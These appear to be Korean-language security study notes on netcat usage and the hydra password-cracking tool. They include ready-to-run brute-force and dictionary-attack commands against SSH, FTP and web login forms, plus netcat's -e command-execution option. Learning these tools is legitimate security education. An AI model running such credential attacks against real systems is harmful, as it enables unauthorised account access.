네트워크 보안 이론 7
netcat
netcat은 네트워크 디버깅 및 조사에 널리 사용되는 유틸리티로, TCP 및 UDP 프로토콜을 이용하여 원격 장치와의 데이터 전송이 가능- 주로 네트워크 연결 확인, 포트 스캔, 간단한 서버 또는 클라이언트 기능으로 사용됨
- 기본 사용법:
- 서버:
nc -l -p <포트> - 클라이언트:
nc <IP 주소> <포트>
- 유용한 옵션:
-z: 포트 스캔을 위한 “zero-I/O” 모드로, 연결 확인만 수행-v: 상세 출력 모드-w: 대기 시간을 지정하여 특정 시간 이후 연결 종료-u: UDP 모드로 전환-e: 명령어 실행 (보안상의 이유로 일부 시스템에서는 제한)
hydra
hydra는 다양한 네트워크 서비스에 대한 무작위 대입(Brute Force) 공격을 통해 계정 정보를 추출할 수 있는 도구- 여러 프로토콜을 지원하며, 주로 패스워드 크래킹에 사용됩니다.
- Hydra 사용 예시
- SSH 서버 무작위 대입 공격
1
hydra -l root -x 4:8:abcdefghij 10.10.10.4 ssh
-l: 사용자 이름 지정 (여기서는 root)-x 4:8: 길이 4~8의 비밀번호를 소문자로 조합하여 무작위 생성ssh: 공격 대상 서비스 지정
- FTP 사전 공격
1
hydra -l admin -P password_list.txt ftp://10.10.10.4
-l admin: 사용자 이름 지정-P password_list.txt: 비밀번호 리스트 지정ftp://10.10.10.4: FTP 서버의 IP 주소 지정
- HTTP GET 요청을 통한 무작위 대입 (비효율적)
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-get-form "/login.php:username=^USER^&password=^PASS^:Login failed"
http-get-form: GET 요청을 사용하여 웹 로그인 페이지 공격^USER^및^PASS^: 사용자 및 비밀번호 자리에 사용할 값
- HTTP POST 요청을 통한 무작위 대입 (비효율적)
1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
http-post-form: POST 요청을 사용하여 웹 로그인 페이지 공격
- SSH 다중 대상 공격
1
hydra -L user_list.txt -P password_list.txt -M target_list.txt ssh
-L user_list.txt: 사용자 이름 목록 파일-P password_list.txt: 비밀번호 목록 파일-M target_list.txt: 대상 서버 목록
- Hydra 주요 옵션
-l LOGIN또는-L FILE: 사용자 이름 또는 사용자 이름 목록 지정-p PASS또는-P FILE: 비밀번호 또는 비밀번호 목록 지정-C FILE: 사용자 이름과 비밀번호 조합 목록 파일-t TASKS: 동시에 실행할 작업 수 (기본: 16)-w TIME: 각 연결 시도 사이의 대기 시간 (초 단위)-v/-V/-d: 자세한 정보 / 각 시도 결과 표시 / 디버그 모드-s PORT: 포트 번호 지정-M FILE: 대상 서버 목록 파일 지정service://server[:PORT][/OPT]: 서비스 및 서버 주소 (예:ftp://192.168.0.1)